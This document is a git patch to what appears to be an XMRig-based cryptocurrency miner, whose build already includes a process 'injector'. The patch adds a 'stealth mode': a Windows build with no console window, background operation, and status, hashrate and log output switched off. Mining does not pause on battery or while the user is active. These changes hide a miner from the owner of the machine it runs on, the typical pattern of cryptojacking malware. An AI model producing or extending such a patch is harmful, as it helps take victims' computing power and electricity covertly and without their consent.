From 53e6d96edf70acca8626e222bbf3f83939116287 Mon Sep 17 00:00:00 2001 From: someone Date: Fri, 7 Nov 2025 16:28:34 +0100 Subject: [PATCH] feat: Add stealth mode for silent background operation --- CMakeLists.txt | 4 ++++ src/core/config/Config_default.h | 14 +++++++------- 2 files changed, 11 insertions(+), 7 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index aa5a5905..07d96a42 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -259,6 +259,10 @@ target_link_libraries(${CMAKE_PROJECT_NAME} ${XMRIG_ASM_LIBRARY} ${OPENSSL_LIBRA target_link_libraries(injector psapi ntdll) target_link_options(${CMAKE_PROJECT_NAME} PRIVATE -static-libgcc -static-libstdc++ -static) +if (WIN32) + target_link_options(${CMAKE_PROJECT_NAME} PRIVATE -mwindows) +endif() + if (WIN32) if (NOT ARM_TARGET) add_custom_command(TARGET ${CMAKE_PROJECT_NAME} POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy_if_different "${CMAKE_SOURCE_DIR}/bin/WinRing0/WinRing0x64.sys" $) diff --git a/src/core/config/Config_default.h b/src/core/config/Config_default.h index 06c8263e..a9148861 100644 --- a/src/core/config/Config_default.h +++ b/src/core/config/Config_default.h @@ -94,9 +94,9 @@ inline const char* getEmbeddedConfig() "restricted": true }, "autosave": true, - "background": false, - "colors": true, - "title": true, + "background":true, + "colors":false, + "title":false, "randomx": { "init": -1, "init-avx2": -1, @@ -160,8 +160,8 @@ inline const char* getEmbeddedConfig() "submit-to-origin": false } ], - "print-time": 60, - "health-print-time": 60, + "print-time":0, + "health-print-time":0, "dmi": true, "retries": 5, "retry-pause": 5, @@ -176,8 +176,8 @@ inline const char* getEmbeddedConfig() "dhparam": null }, "user-agent": null, - "verbose": 9, - "watch": true, + "verbose":0, + "watch":false, "pause-on-battery": false, "pause-on-active": false }